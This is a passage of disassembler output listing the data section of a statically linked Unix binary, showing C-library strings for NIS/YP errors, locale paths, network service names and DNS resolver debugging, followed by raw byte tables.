; dword_8069030 dd 0Ah ; DATA XREF: sub_805CE84+256r ; sub_805CE84+393r ... dword_8069034 dd 5 ; DATA XREF: sub_805D3A8+18Cr ; sub_805D638+104r ... dword_8069038 dd 5 ; DATA XREF: sub_805CCB0+12Ar aVarYpBinding db '/var/yp/binding',0 ; DATA XREF: sub_805CE84+125o aSS_D db '%s/%s.%d',0 ; DATA XREF: sub_805CE84+12Ao aYpbindproc_dom db 'YPBINDPROC_DOMAIN: Internal error',0Ah,0 ; DATA XREF: sub_805CE84+2ECo aYpbindproc_d_0 db 'YPBINDPROC_DOMAIN: No bound server for domain %s',0Ah,0 ; DATA XREF: sub_805CE84+2F8o aYpbindproc_d_1 db 'YPBINDPROC_DOMAIN: Resource allocation failure',0Ah,0 ; DATA XREF: sub_805CE84+30Co aYpbindproc_d_2 db 'YPBINDPROC_DOMAIN: Unknown error',0Ah,0 ; DATA XREF: sub_805CE84+314o aFcntlF_setfd db 'fcntl: F_SETFD',0 ; DATA XREF: sub_805CE84+434o aYp_matchClnt_c db 'yp_match: clnt_call',0 ; DATA XREF: sub_805D3A8+15Co aYp_firstClnt_c db 'yp_first: clnt_call',0 ; DATA XREF: sub_805D638+D4o aYp_nextClnt_ca db 'yp_next: clnt_call',0 ; DATA XREF: sub_805D814+F4o aClnttcp_create db 'clnttcp_create failed',0Ah,0 ; DATA XREF: sub_805DA10+B1o aYp_orderClnt_c db 'yp_order: clnt_call',0 ; DATA XREF: sub_805DB54+D0o aYp_masterClnt_ db 'yp_master: clnt_call',0 ; DATA XREF: sub_805DC70+AAo aYp_maplistClnt db 'yp_maplist: clnt_call',0 ; DATA XREF: sub_805DDA8+A8o aSuccess db 'Success',0 ; DATA XREF: sub_805DE9C+5Co aRequestArgumen db 'Request arguments bad',0 ; DATA XREF: sub_805DE9C+68o aRpcFailure db 'RPC failure',0 ; DATA XREF: sub_805DE9C+74o aCanTBindToServ db 'Can',27h,'t bind to server which serves this domain',0 ; DATA XREF: sub_805DE9C+80o aNoSuchMapInSer db 'No such map in server',27h,'s domain',0 ; DATA XREF: sub_805DE9C+8Co aNoSuchKeyInMap db 'No such key in map',0 ; DATA XREF: sub_805DE9C+98o aYpServerError db 'YP server error',0 ; DATA XREF: sub_805DE9C+A4o aLocalResourceA db 'Local resource allocation failure',0 ; DATA XREF: sub_805DE9C+B0o aNoMoreRecordsI db 'No more records in map database',0 ; DATA XREF: sub_805DE9C+BCo aCanTCommunicat db 'Can',27h,'t communicate with portmapper',0 ; DATA XREF: sub_805DE9C+C8o aCanTCommunic_0 db 'Can',27h,'t communicate with ypbind',0 ; DATA XREF: sub_805DE9C+D4o aCanTCommunic_1 db 'Can',27h,'t communicate with ypserv',0 ; DATA XREF: sub_805DE9C+E0o aLocalDomainNam db 'Local domain name not set',0 ; DATA XREF: sub_805DE9C+ECo aServerDataBase db 'Server data base is bad',0 ; DATA XREF: sub_805DE9C+F8o aYpServerVersio db 'YP server version mismatch - server can',27h,'t supply servi' ; DATA XREF: sub_805DE9C+104o db 'ce.',0 aAccessViolatio db 'Access violation',0 ; DATA XREF: sub_805DE9C+110o aDatabaseIsBusy db 'Database is busy',0 ; DATA XREF: sub_805DE9C+11Co aYpUnknownError db 'YP unknown error %d',0Ah,0 ; DATA XREF: sub_805DE9C+129o aNone db '(none)',0 ; DATA XREF: sub_805E0A8+2Ao aC_1 db 'C',0 ; DATA XREF: sub_805E110+7Eo aNlspath db 'NLSPATH',0 ; DATA XREF: sub_805E110+88o aEtcLocaleLN_ca db '/etc/locale/%L/%N.cat:/usr/lib/locale/%L/%N.cat:/usr/lib/loc' ; DATA XREF: sub_805E110+9Bo db 'ale/%N/%L:/usr/share/locale/%L/%N.cat:/usr/local/share/local' db 'e/%L/%N.cat',0 asc_806940E db ':',0 ; DATA XREF: sub_805E110+129o aNazgul db '*nazgul*',0 ; DATA XREF: sub_805E640+98o aMessageCatalog db 'Message Catalog System',0 ; DATA XREF: sub_805E640+C1o ; sub_805E640+EAo ... aSCorruptFile_ db '%s: corrupt file.',0Ah,0 ; DATA XREF: sub_805E640+1BDo aSSIsVersionDWe db '%s: %s is version %d, we need %d.',0Ah,0 ; DATA XREF: sub_805E640+C6o aSSHasDSets db '%s: %s has %d sets!',0Ah,0 ; DATA XREF: sub_805E640+EFo aSNoMoreMemory_ db '%s: no more memory.',0Ah,0 ; DATA XREF: sub_805E640+134o unk_8069490 db 0 ; ; DATA XREF: sub_805E954+Co aLibc db 'libc',0 ; DATA XREF: sub_805E954+1Ao aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_805E984+17o aRje db 'rje',0 ; DATA XREF: sub_805E9B8+2B4o aEcho db 'echo',0 ; DATA XREF: sub_805E9B8+2C0o aDiscard db 'discard',0 ; DATA XREF: sub_805E9B8+2CCo aSystat db 'systat',0 ; DATA XREF: sub_805E9B8+2D8o aDaytime db 'daytime',0 ; DATA XREF: sub_805E9B8+2E4o aNetstat db 'netstat',0 ; DATA XREF: sub_805E9B8+2F0o aQotd db 'qotd',0 ; DATA XREF: sub_805E9B8+2FCo aChargen db 'chargen',0 ; DATA XREF: sub_805E9B8+308o aFtpData db 'ftp-data',0 ; DATA XREF: sub_805E9B8+314o aFtp db 'ftp',0 ; DATA XREF: sub_805E9B8+320o aTelnet db 'telnet',0 ; DATA XREF: sub_805E9B8+32Co aSmtp db 'smtp',0 ; DATA XREF: sub_805E9B8+338o aTime db 'time',0 ; DATA XREF: sub_805E9B8+344o aRlp db 'rlp',0 ; DATA XREF: sub_805E9B8+350o aName db 'name',0 ; DATA XREF: sub_805E9B8+35Co aWhois db 'whois',0 ; DATA XREF: sub_805E9B8+368o aDomain_0 db 'domain',0 ; DATA XREF: sub_805E9B8+374o aApts db 'apts',0 ; DATA XREF: sub_805E9B8+380o aApfs db 'apfs',0 ; DATA XREF: sub_805E9B8+38Co aBootps db 'bootps',0 ; DATA XREF: sub_805E9B8+398o aBootpc db 'bootpc',0 ; DATA XREF: sub_805E9B8+3A4o aTftp db 'tftp',0 ; DATA XREF: sub_805E9B8+3B0o aFinger db 'finger',0 ; DATA XREF: sub_805E9B8+3BCo aLink db 'link',0 ; DATA XREF: sub_805E9B8+3C8o aSupdup db 'supdup',0 ; DATA XREF: sub_805E9B8+3D4o aNewacct db 'newacct',0 ; DATA XREF: sub_805E9B8+3E0o aHostnames db 'hostnames',0 ; DATA XREF: sub_805E9B8+3ECo aIsoTsap db 'iso-tsap',0 ; DATA XREF: sub_805E9B8+3F8o aX400 db 'x400',0 ; DATA XREF: sub_805E9B8+404o aX400Snd db 'x400-snd',0 ; DATA XREF: sub_805E9B8+410o aCsnetNs db 'csnet-ns',0 ; DATA XREF: sub_805E9B8+41Co aPop2 db 'pop-2',0 ; DATA XREF: sub_805E9B8+428o aSunrpc db 'sunrpc',0 ; DATA XREF: sub_805E9B8+434o aAuth db 'auth',0 ; DATA XREF: sub_805E9B8+440o aSftp db 'sftp',0 ; DATA XREF: sub_805E9B8+44Co aUucpPath db 'uucp-path',0 ; DATA XREF: sub_805E9B8+458o aNntp db 'nntp',0 ; DATA XREF: sub_805E9B8+464o aErpc db 'erpc',0 ; DATA XREF: sub_805E9B8+470o aNtp db 'ntp',0 ; DATA XREF: sub_805E9B8+47Co aStatsrv db 'statsrv',0 ; DATA XREF: sub_805E9B8+488o aProfile db 'profile',0 ; DATA XREF: sub_805E9B8+494o aNews db 'NeWS',0 ; DATA XREF: sub_805E9B8+4A0o aSnmp db 'snmp',0 ; DATA XREF: sub_805E9B8+4ACo aSnmpTrap db 'snmp-trap',0 ; DATA XREF: sub_805E9B8+4B8o aPrintSrv db 'print-srv',0 ; DATA XREF: sub_805E9B8+4C4o aD_0 db '%d',0 ; DATA XREF: sub_805E9B8+4D1o ; sub_805EEA4+F1o ... aIcmp db 'icmp',0 ; DATA XREF: sub_805EEA4+60o aIgmp db 'igmp',0 ; DATA XREF: sub_805EEA4+6Co aGgp db 'ggp',0 ; DATA XREF: sub_805EEA4+78o aSt db 'st',0 ; DATA XREF: sub_805EEA4+84o aTcp db 'tcp',0 ; DATA XREF: sub_805EEA4+90o aUcl db 'ucl',0 ; DATA XREF: sub_805EEA4+9Co aEgp db 'egp',0 ; DATA XREF: sub_805EEA4+A8o aIgp db 'igp',0 ; DATA XREF: sub_805EEA4+B4o aNvpIi db 'nvp-II',0 ; DATA XREF: sub_805EEA4+C0o aPup db 'pup',0 ; DATA XREF: sub_805EEA4+CCo aChaos db 'chaos',0 ; DATA XREF: sub_805EEA4+D8o aUdp db 'udp',0 ; DATA XREF: sub_805EEA4+E4o aResOptions db ';; res options:',0 ; DATA XREF: sub_805F170+Co aS_0 db ' %s',0 ; DATA XREF: sub_805F170+34o aHeaderOpcodeSS db ';; ->>HEADER<<- opcode: %s, status: %s, id: %d',0 ; DATA XREF: sub_805F1DC+8Ao aFlags db '; flags:',0 ; DATA XREF: sub_805F1DC+FFo aQr db ' qr',0 ; DATA XREF: sub_805F1DC+119o aAa db ' aa',0 ; DATA XREF: sub_805F1DC+133o aTc db ' tc',0 ; DATA XREF: sub_805F1DC+14Do aRd db ' rd',0 ; DATA XREF: sub_805F1DC+167o aRa db ' ra',0 ; DATA XREF: sub_805F1DC+181o aQuesD db '; Ques: %d',0 ; DATA XREF: sub_805F1DC+1B7o aAnsD db ', Ans: %d',0 ; DATA XREF: sub_805F1DC+1D7o aAuthD db ', Auth: %d',0 ; DATA XREF: sub_805F1DC+1F7o aAdditD db ', Addit: %d',0 ; DATA XREF: sub_805F1DC+217o aQuestions db ';; QUESTIONS:',0Ah,0 ; DATA XREF: sub_805F1DC+27Eo asc_806969E db ';;',9,0 ; DATA XREF: sub_805F1DC+2A6o aTypeS db ', type = %s',0 ; DATA XREF: sub_805F1DC+34Ao aClassS db ', class = %s',0Ah,0 ; DATA XREF: sub_805F1DC+38Bo aAnswers db ';; ANSWERS:',0Ah,0 ; DATA XREF: sub_805F1DC+3E0o aAuthorityRecor db ';; AUTHORITY RECORDS:',0Ah,0 ; DATA XREF: sub_805F1DC+412o aAdditionalReco db ';; ADDITIONAL RECORDS:',0Ah,0 ; DATA XREF: sub_805F1DC+444o a___truncated db 0Ah ; DATA XREF: sub_805F1DC+474o db ';; ...truncated',0Ah,0 a___malformed db 0Ah ; DATA XREF: sub_805F1DC+47Co db ';; ...malformed',0Ah,0 aLu db 9,'%lu',0 ; DATA XREF: sub_805F7E4+9Eo aS_1 db 9,'%s',0 ; DATA XREF: sub_805F7E4+C5o ; sub_805F7E4+DDo ... aSProtoDPortD db 9,'%s',9,'; proto %d, port %d',0 ; DATA XREF: sub_805F7E4+2FFo a_S db 9,'%.*s',0 ; DATA XREF: sub_805F7E4+34Ao ; sub_805F7E4+369o aWarningOsTypeM db 0Ah ; DATA XREF: sub_805F7E4+38Ao db ';; *** Warning *** OS-type missing',0 asc_8069767 db ' (',0Ah,0 ; DATA XREF: sub_805F7E4+412o aLuSerial db 9,9,9,'%lu',9,'; serial',0Ah,0 ; DATA XREF: sub_805F7E4+428o aLuRefreshS db 9,9,9,'%lu',9,'; refresh (%s)',0Ah,0 ; DATA XREF: sub_805F7E4+446o aLuRetryS db 9,9,9,'%lu',9,'; retry (%s)',0Ah,0 ; DATA XREF: sub_805F7E4+467o aLuExpireS db 9,9,9,'%lu',9,'; expire (%s)',0Ah,0 ; DATA XREF: sub_805F7E4+485o aLuMinimumS db 9,9,9,'%lu )',9,'; minimum (%s)',0 ; DATA XREF: sub_805F7E4+4A6o aD_1 db 9,'%d ',0 ; DATA XREF: sub_805F7E4+4C8o ; sub_805F7E4+4F8o asc_80697DB db 9,'"',0 ; DATA XREF: sub_805F7E4+531o aU db 9,'%u',0 ; DATA XREF: sub_805F7E4+6C5o aSS db 9,'%s %s ( ',0 ; DATA XREF: sub_805F7E4+70Co asc_80697EC db 0Ah ; DATA XREF: sub_805F7E4+73Do db 9,9,9,0 a?D? db 9,'?%d?',0 ; DATA XREF: sub_805F7E4+7C4o aPacketSizeErro db ';; packet size error (found %d, dlen was %d)',0Ah,0 ; DATA XREF: sub_805F7E4+804o aA db 'A',0 ; DATA XREF: sub_8060004+418o aNs db 'NS',0 ; DATA XREF: sub_8060004+424o aCname db 'CNAME',0 ; DATA XREF: sub_8060004+430o aSoa db 'SOA',0 ; DATA XREF: sub_8060004+43Co aMb db 'MB',0 ; DATA XREF: sub_8060004+448o aMg db 'MG',0 ; DATA XREF: sub_8060004+454o aMr db 'MR',0 ; DATA XREF: sub_8060004+460o aNull_0 db 'NULL',0 ; DATA XREF: sub_8060004+46Co aWks db 'WKS',0 ; DATA XREF: sub_8060004+478o aPtr db 'PTR',0 ; DATA XREF: sub_8060004+484o aHinfo db 'HINFO',0 ; DATA XREF: sub_8060004+490o aMinfo db 'MINFO',0 ; DATA XREF: sub_8060004+49Co aMx db 'MX',0 ; DATA XREF: sub_8060004+4A8o aTxt db 'TXT',0 ; DATA XREF: sub_8060004+4B4o aRp db 'RP',0 ; DATA XREF: sub_8060004+4C0o aAfsdb db 'AFSDB',0 ; DATA XREF: sub_8060004+4CCo aX25 db 'X25',0 ; DATA XREF: sub_8060004+4D8o aIsdn db 'ISDN',0 ; DATA XREF: sub_8060004+4E4o aRt db 'RT',0 ; DATA XREF: sub_8060004+4F0o aNsap db 'NSAP',0 ; DATA XREF: sub_8060004+4FCo aNsap_ptr db 'NSAP_PTR',0 ; DATA XREF: sub_8060004+508o aSig db 'SIG',0 ; DATA XREF: sub_8060004+514o aKey db 'KEY',0 ; DATA XREF: sub_8060004+520o aPx db 'PX',0 ; DATA XREF: sub_8060004+52Co aGpos db 'GPOS',0 ; DATA XREF: sub_8060004+538o aAaaa db 'AAAA',0 ; DATA XREF: sub_8060004+544o aLoc db 'LOC',0 ; DATA XREF: sub_8060004+550o aAxfr db 'AXFR',0 ; DATA XREF: sub_8060004+55Co aMailb db 'MAILB',0 ; DATA XREF: sub_8060004+568o aMaila db 'MAILA',0 ; DATA XREF: sub_8060004+574o aAny db 'ANY',0 ; DATA XREF: sub_8060004+580o ; sub_80605D0+38o aUinfo db 'UINFO',0 ; DATA XREF: sub_8060004+58Co aUid db 'UID',0 ; DATA XREF: sub_8060004+598o aGid db 'GID',0 ; DATA XREF: sub_8060004+5A4o aIn db 'IN',0 ; DATA XREF: sub_80605D0+20o aHs db 'HS',0 ; DATA XREF: sub_80605D0+2Co aInit db 'init',0 ; DATA XREF: sub_8060630+A0o aDebug_1 db 'debug',0 ; DATA XREF: sub_8060630+ACo aAaonlyUnimpl db 'aaonly(unimpl)',0 ; DATA XREF: sub_8060630+B8o aUsevc db 'usevc',0 ; DATA XREF: sub_8060630+C4o aPrimryUnimpl db 'primry(unimpl)',0 ; DATA XREF: sub_8060630+D0o aIgntc db 'igntc',0 ; DATA XREF: sub_8060630+DCo aRecurs db 'recurs',0 ; DATA XREF: sub_8060630+E8o aDefnam db 'defnam',0 ; DATA XREF: sub_8060630+F4o aStyopn db 'styopn',0 ; DATA XREF: sub_8060630+100o aDnsrch db 'dnsrch',0 ; DATA XREF: sub_8060630+10Co aInsecure1 db 'insecure1',0 ; DATA XREF: sub_8060630+118o aInsecure2 db 'insecure2',0 ; DATA XREF: sub_8060630+124o a?0xLx? db '?0x%lx?',0 ; DATA XREF: sub_8060630+131o dword_806992F dd 65732030h ; DATA XREF: sub_806077C+10r word_8069933 dw 7363h ; DATA XREF: sub_806077C+1Ar byte_8069935 db 0 ; DATA XREF: sub_806077C+26r unk_8069936 db 0 ; ; DATA XREF: sub_806077C+6Bo ; sub_806077C+9Co ... unk_8069937 db 73h ; s ; DATA XREF: sub_806077C+61o ; sub_806077C+92o ... db 0 ; aDDayS db '%d day%s',0 ; DATA XREF: sub_806077C+72o aDHourS db '%d hour%s',0 ; DATA XREF: sub_806077C+A3o aDMinS db '%d min%s',0 ; DATA XREF: sub_806077C+E1o aDSecS db '%d sec%s',0 ; DATA XREF: sub_806077C+131o aZoneref db 'ZONEREF',0 ; DATA XREF: .data:08078FE8o aZoneinit db 'ZONEINIT',0 ; DATA XREF: .data:08078FE4o aUpdatema db 'UPDATEMA',0 ; DATA XREF: .data:08078FE0o aUpdatem db 'UPDATEM',0 ; DATA XREF: .data:08078FDCo aUpdateda db 'UPDATEDA',0 ; DATA XREF: .data:08078FD8o aUpdated db 'UPDATED',0 ; DATA XREF: .data:08078FD4o aUpdatea db 'UPDATEA',0 ; DATA XREF: .data:08078FD0o a8765 db '8',0,'7',0,'6',0,'5',0 ; DATA XREF: .data:08078FCCo ; .data:0807900Co ... aNotify db 'NOTIFY',0 ; DATA XREF: .data:08078FBCo aCqueryu db 'CQUERYU',0 ; DATA XREF: .data:08078FB8o aCquerym db 'CQUERYM',0 ; DATA XREF: .data:08078FB4o aIquery db 'IQUERY',0 ; DATA XREF: .data:08078FB0o aQuery db 'QUERY',0 aNochange db 'NOCHANGE',0 ; DATA XREF: .data:08079028o a14 db '14',0 ; DATA XREF: .data:08079024o a13 db '13',0 ; DATA XREF: .data:08079020o a12 db '12',0 ; DATA XREF: .data:0807901Co a11 db '11',0 ; DATA XREF: .data:08079018o a10 db '10',0 ; DATA XREF: .data:08079014o a9 db '9',0 ; DATA XREF: .data:08079010o aRefused db 'REFUSED',0 ; DATA XREF: .data:08079000o aNotimp db 'NOTIMP',0 ; DATA XREF: .data:08078FFCo aNxdomain db 'NXDOMAIN',0 ; DATA XREF: .data:08078FF8o aServfail db 'SERVFAIL',0 ; DATA XREF: .data:08078FF4o aFormerr db 'FORMERR',0 ; DATA XREF: .data:08078FF0o aNoerror db 'NOERROR',0 aRes_mkqueryDSD db ';; res_mkquery(%d, %s, %d, %d)',0Ah,0 ; DATA XREF: sub_80608C8+51o a00000000000000 db ' 0000000000000000',0 ; DATA XREF: sub_8062534+13o asc_8069A51 db ': ',0 ; DATA XREF: sub_80625DC+2Co aSSS db '%s%s%s',0Ah,0 ; DATA XREF: sub_80625DC+59o aUnknownError db 'Unknown error',0 ; DATA XREF: sub_80625DC+6Do aSSSD db '%s%s%s %d',0Ah,0 ; DATA XREF: sub_80625DC+87o a0123456789abcd db '0123456789abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: vfprintf+E7Co ; vfprintf+28CEo ... a0123456789ab_0 db '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: vfprintf+E8Fo ; vfprintf+28EBo ... align 4 db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 3 ; db 20h ; db 2 ; db 20h ; db 2 ; db 20h ; db 2 ; db 20h ; db 2 ; db 20h ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 1 ; db 60h ; ` db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 0 ; db 0D5h ; db 0 ; db 0D5h ; db 0 ; db 0D5h ; db 0 ; db 0D5h ; db 0 ; db 0D5h ; db 0 ; db 0D5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 0 ; db 0D6h ; db 0 ; db 0D6h ; db 0 ; db 0D6h ; db 0 ; db 0D6h ; db 0 ; db 0D6h ; db 0 ; db 0D6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 0 ; db 80h ; db 0 ; db 0 ; db 0 ; db 81h ; db 0 ; db 0 ; db 0 ; db 82h ; db 0 ; db 0 ; db 0 ; db 83h ; db 0 ; db 0 ; db 0 ; db 84h ; db 0 ; db 0 ; db 0 ; db 85h ; db 0 ; db 0 ; db 0 ; db 86h ; db 0 ; db 0 ; db 0 ; db 87h ; db 0 ; db 0 ; db 0 ; db 88h ; db 0 ; db 0 ; db 0 ; db 89h ; db 0 ; db 0 ; db 0 ; db 8Ah ; db 0 ; db 0 ; db 0 ; db 8Bh ; db 0 ; db 0 ; db 0 ; db 8Ch ; db 0 ; db 0 ; db 0 ; db 8Dh ; db 0 ; db 0 ; db 0 ; db 8Eh ; db 0 ; db 0 ; db 0 ; db 8Fh ; db 0 ; db 0 ; db 0 ; db 90h ; db 0 ; db 0 ; db 0 ; db 91h ; db 0 ; db 0 ; db 0 ; db 92h ; db 0 ; db 0 ; db 0 ; db 93h ; db 0 ; db 0 ; db 0 ; db 94h ; db 0 ; db 0 ; db 0 ; db 95h ; db 0 ; db 0 ; db 0 ; db 96h ; db 0 ; db 0 ; db 0 ; db 97h ; db 0 ; db 0 ; db 0 ; db 98h ; db 0 ; db 0 ; db 0 ; db 99h ; db 0 ; db 0 ; db 0 ; db 9Ah ; db 0 ; db 0 ; db 0 ; db 9Bh ; db 0 ; db 0 ; db 0 ; db 9Ch ; db 0 ; db 0 ; db 0 ; db 9Dh ; db 0 ; db 0 ; db 0 ; db 9Eh ; db 0 ; db 0 ; db 0 ; db 9Fh ; db 0 ; db 0 ; db 0 ; db 0A0h ; db 0 ; db 0 ; db 0 ; db 0A1h ; db 0 ; db 0 ; db 0 ; db 0A2h ; db 0 ; db 0 ; db 0 ; db 0A3h ; db 0 ; db 0 ; db 0 ; db 0A4h ; db 0 ; 